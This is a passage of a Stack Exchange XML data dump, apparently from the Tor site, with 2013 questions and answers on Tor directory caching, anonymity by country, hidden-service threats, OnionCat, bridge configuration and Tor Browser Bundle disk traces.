file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can learn all about what a &quot;consensus&quot; is and what a &quot;router descriptor&quot; is in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor directory protocol specification&lt;/a&gt;, as linked from the &lt;a href=&quot;https://www.torproject.org/docs/documentation#DesignDoc&quot; rel=&quot;nofollow&quot;&gt;Design Documents&lt;/a&gt; section on the Tor documentation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a cached-certs file, which contains the signed subkeys of the directory authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how long the cached documents are valid, it depends on the document. The directory authorities create a new consensus every hour, and your client fetches a new one every 2-4 hours. But if you can't get a new one, you remain willing to use your current one for up to 24 hours -- that way the network doesn't grind to a halt when a few directory authorities go down for a bit. The microdescriptors are designed to last for a week or so; you only need a new one when the relay changes one of the elements of its microdescriptor -- typically the onion key.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-10-15T23:59:44.603" LastActivityDate="2016-10-15T23:59:44.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="153" PostTypeId="1" AcceptedAnswerId="347" CreationDate="2013-09-27T11:21:36.253" Score="9" ViewCount="413" Body="&lt;p&gt;As we know, Tor hides users amongst the other users on the network, so the more populous and diverse the user base for Tor is, the more everybody's anonymity will be protected. So, in which part of the world is the Tor network most dense? Where is my identity least likely to be detected?&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-09-30T05:13:49.540" LastActivityDate="2013-10-15T07:23:00.523" Title="Where in the world does Tor provide the highest degree of anonymity?" Tags="|anonymity|density|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostTypeId="2" ParentId="153" CreationDate="2013-09-27T12:04:30.370" Score="5" Body="&lt;p&gt;If anonymity in a country had a single parameter, the average number of Tor users, then it would be sufficient to take a look at the top-10 countries with directly connected users as shown in here : &lt;a href=&quot;https://metrics.torproject.org/users.html&quot;&gt;https://metrics.torproject.org/users.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But one should take in consideration the surveillance capabilities and resources of each country. For example although United States appears to be first in the list of directly connected users, it is widely known that domestic surveillance in US is increased and sometimes sophisticated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that by design onion routing, the protocol Tor implements, cannot protect against a powerful adversary and one could say that some of US or other countries' surveillance services can easily graded as powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition the parameters that lead to Tor user density in a specific area may vary with time. &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-09-27T12:04:30.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostTypeId="2" ParentId="153" CreationDate="2013-09-27T12:50:42.457" Score="3" Body="&lt;p&gt;As an addition to alaf's answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also depends what you are doing. Depends, whether you are just reading things, posting things and add &lt;a href=&quot;https://en.wikipedia.org/wiki/Stylometry&quot; rel=&quot;nofollow&quot;&gt;Stylometry&lt;/a&gt; attacks to the mix or are a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In very small countries, where there are less than 100 Tor users at a time, which have their own local language, I believe you have little anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also depends who your adversary is. Since the most Tor users come from United States, I'd suppose you have good anonymity when it comes to commercial (not state-sponsored!) advertising and tracking companies.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-27T12:50:42.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="156" PostTypeId="2" ParentId="97" CreationDate="2013-09-27T13:15:26.643" Score="5" Body="&lt;p&gt;There is a whole &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others&quot; rel=&quot;nofollow&quot;&gt;bunch of pros and cons&lt;/a&gt; about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the biggest advantages is that &lt;a href=&quot;https://blog.torproject.org/blog/firefox-security-bug-proxy-bypass-current-tbbs&quot; rel=&quot;nofollow&quot;&gt;proxy by-pass bugs in Tor Browser&lt;/a&gt; when using a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;Transparent Proxy&lt;/a&gt; (anonymizing middlebox!) or an &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;Isolating Proxy&lt;/a&gt; design won't reveal your real IP address. Also, with such a design, (root) &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html&quot; rel=&quot;nofollow&quot;&gt;exploits&lt;/a&gt; against your client software (ex: browser) won't instantly reveal your real IP address. Exploits still matter, because once your virtual machine is compromised, an attacker can see everything you do inside the VM, and can try to escalate to your host as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big disadvantage is that it's not as simple, as in usability to use. There is administration overhead (updating more than one operating system), higher system requirements... The biggest disadvantage is that there are no amnesic Tor VMs yet.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="100" LastEditDate="2014-06-29T11:03:11.330" LastActivityDate="2014-06-29T11:03:11.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="5" CreationDate="2013-09-27T14:14:51.287" Score="0" Body="&lt;p&gt;Onion routing is a technique for routing messages in an anonymous fashion by wrapping data in several layers of encryption which are then 'peeled off' like the layers of an onion by a series of nodes called 'onion routers'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor uses onion routing to route TCP traffic. In the Tor network, onion routers are called 'relays' or 'nodes'. The last relay in an onion routing chain is called an 'exit relay' and the first relay the 'guard relay' or 'entry node'.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-27T15:42:33.600" LastActivityDate="2013-09-27T15:42:33.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="158" PostTypeId="4" CreationDate="2013-09-27T14:14:51.287" Score="0" Body="Questions relating to onion routing, and onion routing protocols" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-27T15:42:29.660" LastActivityDate="2013-09-27T15:42:29.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostTypeId="1" AcceptedAnswerId="160" CreationDate="2013-09-27T15:35:27.183" Score="3" ViewCount="257" Body="&lt;p&gt;I understand many of the possible attacks against a user visiting a regular website over Tor but I am wondering, what are the potential attacks to identify a connection between a user and a hidden service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the FBI recently decided that their best exploit was to actually break the hidden service and add malicious javascript to the pages, I want to know if there has been any good research done into other threats against users?&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2013-09-28T05:49:53.380" Title="What are the threat differences to accessing hidden services compared to the regular internet over Tor?" Tags="|onion-services|threats|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="2" ParentId="159" CreationDate="2013-09-27T20:39:35.840" Score="4" Body="&lt;p&gt;Tor Hidden Services are primarily designed to protect server operators and don't add any additional protections for the users (except perhaps the fact that if the server operator is using a hidden service it's less likely that someone can be squatting on an upstream router attempting to correlate your traffic). However, hidden services can still be compromised by attacking the server or other software directly (ie. going after a vulnerability in Apache or Nginx). The hidden service can then be used in turn to attack the users of that service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'm assuming the JavaScript injection attack you're talking about is the one against Freedom Hosting last month. It should be noted that this was an attack against Freedom Hosting itself (not against all Tor Hidden services) that then exploited a bug in the TBB's version of Firefox (which users were using to visit the hidden services). More details about the attack can be found in these &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-current-events-and-freedom-hosting&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-old-tor-browser-bundles-vulnerable&quot; rel=&quot;nofollow&quot;&gt;posts&lt;/a&gt; and in the &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html&quot; rel=&quot;nofollow&quot;&gt;security advisory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any research into end-to-end correlation between a user and a hidden service (as you said, most of that goes towards users of Tor exiting to a normal web service), but I'm sure such research exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other case one must consider is are services that are on the public internet and also provide tor hidden services. In this case the hidden service is not actually protecting the server operator (since they're operating publically as well), but it does mean the user doesn't have to trust an exit node (they always stay within the Tor network and only exit directly at the end point). If the hidden service is 'unofficial' however (run by a random person proxying to the end service), no benefit is gained. In fact, at this point, the person is essentially trusting a single effective-exit-node and doesn't have the option of changing their exit node by building a new circuit (it will always simply be the owner of the hidden service doing the proxying). So trusting a service that's not operating completely within the Tor network could potentially make correlating traffic that much easier for a determined attacker.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-27T21:34:42.703" LastActivityDate="2013-09-27T21:34:42.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="1" CreationDate="2013-09-27T21:39:12.573" Score="3" ViewCount="4308" Body="&lt;p&gt;With Tor itself, it is only possible to do TCP due to &lt;a href=&quot;http://en.wikipedia.org/wiki/SOCKS&quot; rel=&quot;nofollow&quot;&gt;SOCKS5&lt;/a&gt; limitations. &lt;a href=&quot;https://www.onioncat.org/&quot; rel=&quot;nofollow&quot;&gt;OnionCat&lt;/a&gt; allows you to do more than TCP through Tor; how does this work?&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="159" LastEditDate="2013-10-02T21:37:15.353" LastActivityDate="2017-06-01T05:48:31.367" Title="What is OnionCat?" Tags="|onioncat|ipv6|tunnel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostTypeId="2" ParentId="161" CreationDate="2013-09-27T21:50:18.097" Score="5" Body="&lt;p&gt;OnionCat is a Tor-based decentralized peer-to-peer VPN. It acts like a single IPv6 subnet hidden inside Tor permitting a hidden service to be transformed into an IPv6 address on the subnet. In BSD land this shows up as a tun(4) device. One can do udp (dns, nfs, etc) or tcp or even IPSec between OnionCat instances (and only between OnionCat instances; not out to the clearnet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the &lt;a href=&quot;http://ports.su/net/onioncat&quot; rel=&quot;nofollow&quot;&gt;OpenBSD ports&lt;/a&gt; tree states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OnionCat creates a transparent IP layer on top of Tor's hidden&#xA;  services. It transmits any kind of IP-based data transparently through&#xA;  the Tor network on a location hidden basis. You can think of it as a&#xA;  point-to-multipoint VPN between hidden services.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More info can be found &lt;a href=&quot;https://www.onioncat.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. OnionCat is not officially associated with the Tor Project.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="9848" LastEditDate="2015-11-09T16:31:14.753" LastActivityDate="2015-11-09T16:31:14.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostTypeId="2" ParentId="151" CreationDate="2013-09-27T21:50:18.193" Score="1" Body="&lt;p&gt;Onion routing is the heart of Tor.  In the most basic sense, Tor programs running on multiple computers across the internet each make a random decision as to where to route the individual packetflow of a given connection.  There is typically constant flows of encrypted traffic between Tor programs, so it is an electronic and encrypted version of the old 'which cup is the ball under' trick you might have seen at a circus.  Some Tor programs are configured to permit traffic to 'exit' the Tor network and head to standard internet websites.  These are called exit nodes.  A given particular destination must have at least one exit node willing to permit traffic to&#xA;flow prior to the connection being made.  To make a connection, an application will talk socks5 to a local Tor instance which will then relay the connection through the Tor network to the exit node.  This process is known as onion routing.  It seems aptly named because one would have to peel many layers to find out exactly where the packetflow has been and is going to ultimately reach an exit node ;-)&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="923" LastEditDate="2014-09-05T17:15:56.680" LastActivityDate="2014-09-05T17:15:56.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="1" AcceptedAnswerId="168" CreationDate="2013-09-27T21:54:28.957" Score="6" ViewCount="949" Body="&lt;p&gt;Tor sometimes logs entries similar to this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sep 27 03:21:32.000 [notice] TLS write overhead: 13%&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does this line mean? Is there a value where this indicates problems?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="55" LastEditDate="2013-09-30T04:08:14.617" LastActivityDate="2013-09-30T04:08:14.617" Title="What is the &quot;TLS write overhead&quot; percentage reported in Tor log entries?" Tags="|client|tls|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="1" AcceptedAnswerId="169" CreationDate="2013-09-28T03:55:20.057" Score="14" ViewCount="231" Body="&lt;p&gt;With the packaging of Tor in Debian and Ubuntu set where neither will ship the latest version of Tor for users as it is in the &lt;a href=&quot;http://packages.debian.org/experimental/tor&quot;&gt;Debian &quot;experimental&quot; repository&lt;/a&gt;, what alternative repositories are safest for use in securing a system with Tor?  If there are no alternative repositories considered safest, what is the best route for swiftly building the software locally for use?&lt;/p&gt;&#xA;" OwnerUserId="148" LastEditorUserId="148" LastEditDate="2013-09-28T16:23:47.217" LastActivityDate="2013-10-15T07:25:55.853" Title="How would I effectively deploy a current version of Tor on an Ubuntu system?" Tags="|ubuntu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="2" ParentId="161" CreationDate="2013-09-28T04:06:29.307" Score="3" Body="&lt;p&gt;I try an alternative simplistic explanation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;You need to set up a hidden service&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Your partner needs to set up a hidden service.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OnionCat :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;connects from hidden service to hidden service.&lt;/li&gt;&#xA;&lt;li&gt;provides an IPv6 for you&lt;/li&gt;&#xA;&lt;li&gt;provides an IPv6 for your partner&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you can use IPv6, TCP and UDP with your partner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is OnionCat NOT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A magic way to let you connect to clear-net destinations using UDP. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7830&quot; rel=&quot;nofollow&quot;&gt;Tor does not yet natively support UDP.&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;A magic way to let you connect to clear-net destinations using IPv6. (Tor does not yet natively support IPv6.)&lt;/li&gt;&#xA;&lt;li&gt;A magic way to route everything through Tor, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6900&quot; rel=&quot;nofollow&quot;&gt;like if you were using a VPN&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastEditorUserId="159" LastEditDate="2013-10-02T21:37:35.743" LastActivityDate="2013-10-02T21:37:35.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostTypeId="2" ParentId="164" CreationDate="2013-09-28T04:47:51.583" Score="10" Body="&lt;p&gt;See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7707&quot;&gt;ticket 7707&lt;/a&gt; for why we added that diagnostic log message in. In short, we were worrying that our round-robin bandwidth allocations would spread bytes too thin over all the connections we write out onto, making the overhead from TLS record headers too high a fraction of the overall bandwidth we use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This log message is telling you how many extra bytes your Tor is using in TLS record headers vs how many bytes it's using for actual Tor cells. Based on the function comment for &lt;code&gt;tls_get_write_overhead_ratio()&lt;/code&gt;, it's the &quot;ratio of the bytes that TLS has sent to the bytes that we've told it to send&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a &lt;a href=&quot;https://gitweb.torproject.org/tor.git/commitdiff/452cfaacfc6e6b4313d2170c29e18d6399038999&quot;&gt;&lt;code&gt;git show 452cfaac&lt;/code&gt;&lt;/a&gt; in a &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot;&gt;Tor git checkout&lt;/a&gt; if you want to see the commit that added this log message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ChangeLog stanza is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Add another diagnostic to the heartbeat message: track and log&#xA;   overhead that TLS is adding to the data we write. If this is&#xA;   high, we are sending too little data to SSL_write at a time.&#xA;   Diagnostic for bug 7707.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I just added a pile of &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7707#comment:15&quot;&gt;questions&lt;/a&gt; to ticket 7707, so keep an eye there if Nick answers.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="88" LastEditDate="2013-09-28T08:47:01.937" LastActivityDate="2013-09-28T08:47:01.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="2" ParentId="166" CreationDate="2013-09-28T05:29:31.547" Score="11" Body="&lt;p&gt;Actually, we're very happy with our Debian packager. He works hard to make sure the version of Tor shipped in various Debians is safe and stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Ubuntu has indeed been a source of frustration over the years. Read &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/tor/+bug/328442&quot;&gt;the Ubuntu bug ticket&lt;/a&gt; for some of the sordid details -- especially the parts where I start repeating the phrase &quot;remote root vulnerability&quot; as the months go by with no resolution. (Ok, in retrospect it looks like it only took them three months after notification to resolve the fact that they were shipping an obsolete version of Tor with a serious security vulnerability. Felt like longer at the time. But still, three months? Really?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to install the right Tor debs, either because you're on Ubuntu or because you want to get quicker updates than Debian stable allows, is to use the &lt;a href=&quot;https://www.torproject.org/docs/debian&quot;&gt;deb repository&lt;/a&gt; at deb.torproject.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most users, building Tor on your own is a much worse idea than using the deb. The Tor deb has great features like automatically raising your ulimit -n, running Tor as a different user, etc. If you really want to be bleeding-edge, you can still use a deb even then: see &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-September/002702.html&quot;&gt;Lunar's directions on using deb nightly builds&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-28T05:29:31.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="2" ParentId="159" CreationDate="2013-09-28T05:49:53.380" Score="2" Body="&lt;p&gt;First it is important to keep in mind that a hidden service tries to keep the provider of the information anonymous. Hidden service hides the IP address of the web server, mail server etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hidden service host can do all nasty things which also a non-hidden-service-host can do. So hidden services provide neither more security nor less security. You are exposed to the same risks like a normal Tor user or a non-Tor user.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-28T05:49:53.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostTypeId="1" AcceptedAnswerId="172" CreationDate="2013-09-28T06:19:40.013" Score="3" ViewCount="175" Body="&lt;p&gt;Amongst the developers working on the Tor source code, which countries have the maximum representation in terms of number of contributors and overall contributions? &lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-09-28T06:40:26.880" Title="Which countries contribute the most to the Tor source code?" Tags="|source-code|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostTypeId="2" ParentId="171" CreationDate="2013-09-28T06:40:26.880" Score="4" Body="&lt;p&gt;I used git plus some shell to count the number of commits (&lt;code&gt;git log --shortstat | awk -F: '/Author: / { print $2 }' | sort | uniq -c | sort -n&lt;/code&gt;). According to that more than 14000 commits came from Roger or Nick. This accounts for &gt;80% of all commits (&gt;17000). Some 1500 come from german speaking regions (Germany, Austria, Switzerland). There are 122 different names and email addresses committed some code. Most of them seem to come from the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess that somewhat around 85% of the commits comes from the US, 9-10% comes from german speaking countries. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-28T06:40:26.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostTypeId="1" CreationDate="2013-09-28T11:32:02.620" Score="1" ViewCount="245" Body="&lt;p&gt;Freedom Hosting was one of the largest .onion website hosts until it suddenly started serving malicious code, and eventually went offline (presumably permanently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the sequence of events that led to Freedom Hosting going totally offline?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="55" LastEditDate="2013-09-30T03:55:17.143" LastActivityDate="2013-09-30T05:26:44.370" Title="What events led to Freedom Hosting going down?" Tags="|onion-services|attacks|freedom-hosting|" AnswerCount="1" CommentCount="3" ClosedDate="2013-10-09T12:12:12.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostTypeId="1" AcceptedAnswerId="178" CreationDate="2013-09-28T11:41:04.850" Score="7" ViewCount="301" Body="&lt;p&gt;I'm guessing that a bridge uploads its ContactInfo to the bridge authority, so there's a point of contact for the Tor project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this information available to any other parties, i.e. users requesting bridges, or people randomly connecting to IP addresses looking for Tor installations?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-09-28T14:30:56.907" Title="Who can see my bridge's ContactInfo?" Tags="|security|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="5" CreationDate="2013-09-28T11:45:08.983" Score="0" Body="&lt;p&gt;Bridge relays (or &quot;bridges&quot; for short) are Tor relays that aren't listed in the main Tor directory. Since there is no complete public list of them, even if your ISP is filtering connections to all the known Tor relays, they probably won't be able to block all the bridges. If you suspect your access to the Tor network is being blocked, you may want to use the bridge feature of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information: &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-09-29T21:11:42.377" LastActivityDate="2013-09-29T21:11:42.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="4" CreationDate="2013-09-28T11:45:08.983" Score="0" Body="Questions relating to bridge relays, their maintenance and operation." OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-09-29T21:11:57.877" LastActivityDate="2013-09-29T21:11:57.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="2" ParentId="174" CreationDate="2013-09-28T14:21:23.753" Score="4" Body="&lt;p&gt;Bridges can publish server descriptors (with contact info) in multiple ways. Private bridges are configured with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and don't publish contact info at all (you have to manually give out the bridge address to someone who needs it, then only that person gets your contact info). However, you can also configure with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;PublishServerDescriptor bridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to publish your bridge descriptor to the bridge authorities. From the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=attic/bridges-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Bridge Specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bridge authorities are like normal v3 directory authorities, except&#xA;  they don't create their own network-status documents or votes. So if&#xA;  you ask a bridge authority for a network-status document or consensus,&#xA;  they behave like a directory mirror: they give you one from one of the&#xA;  main authorities. But if you ask the bridge authority for the&#xA;  descriptor corresponding to a particular identity fingerprint, it will&#xA;  happily give you the latest descriptor for that fingerprint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So your contact info is only handed out to the people who use that bridge. They can also get the bridge info in other ways:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bridge users can fetch bridge descriptors in two ways: by going&#xA;  directly to the bridge and asking for &quot;/tor/server/authority&quot;, or by&#xA;  going to the bridge authority and asking for &quot;/tor/server/fp/ID&quot;. By&#xA;  default, they will only try the direct queries. If the user sets&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;UpdateBridgesFromAuthority 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;in his config file, then he will try querying the bridge authority&#xA;  first for bridges where he knows a digest (if he only knows an IP&#xA;  address and ORPort, then his only option is a direct query).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-28T14:30:56.907" LastActivityDate="2013-09-28T14:30:56.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostTypeId="1" AcceptedAnswerId="180" CreationDate="2013-09-28T23:50:20.530" Score="10" ViewCount="434" Body="&lt;p&gt;Was the Tor Browser Bundle built with aim not to leak information to the file system (e.g. to temporary files), to the disk in general (e.g. to the swap) and by other means to other applications (e.g. over &lt;a href=&quot;https://en.wikipedia.org/wiki/D-Bus&quot; rel=&quot;nofollow&quot;&gt;D-bus&lt;/a&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2014-09-08T15:31:08.423" LastActivityDate="2014-09-08T15:31:08.423" Title="Can I expect the Tor Browser Bundle not to leak information to the file system and to other applications?" Tags="|tor-browser-bundle|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="2" ParentId="179" CreationDate="2013-09-29T01:53:24.400" Score="11" Body="&lt;p&gt;Tor Browser Bundle &lt;em&gt;tries&lt;/em&gt; to leaves no trace on the filesystem, but there are several limitations.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As documented in &lt;a href=&quot;https://research.torproject.org/techreports/tbb-forensic-analysis-2013-06-28.pdf&quot;&gt;the most recent analysis (as of Sept, 2013)&lt;/a&gt;, there are several places TBB leaves a trace on the filesystem, usually due to Operating System mechanics and not due to TBB's fault itself.&lt;/li&gt;&#xA;&lt;li&gt;TBB can't avoid writing memory to disk in a swap space scenario unless the operating system has disabled swap.&lt;/li&gt;&#xA;&lt;li&gt;You have to extract TBB to the filesystem. If you don't do a secure deletion (overwriting the data as opposed to just selecting it and hitting 'delete'), the data will be in 'free space' and may be recovered by forensic disk analysis tools&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="43" LastEditorUserId="923" LastEditDate="2014-09-05T17:31:36.310" LastActivityDate="2014-09-05T17:31:36.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="181" PostTypeId="1" CreationDate="2013-09-29T04:02:12.007" Score="12" ViewCount="6968" Body="&lt;p&gt;How can I use Tor from networks whose operators attempt to block Tor use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I previously used Tor from my school's network to avoid restriction of my Web browsing based on keywords, but now attempts to use Tor on their wireless network are blocked and result in presentation the message &quot;TOR/ULTRASURF DETECTED&quot; being shown to me when I switch to use of a browser without Tor.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="12737" LastEditDate="2017-04-25T23:00:22.320" LastActivityDate="2017-05-09T11:33:50.300" Title="How can I use Tor from networks whose operators attempt to block Tor use?" Tags="|bridge|censorship|pluggable-transports|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-05-09T11:56:14.960" ContentLicense="CC BY-SA 3.0" />
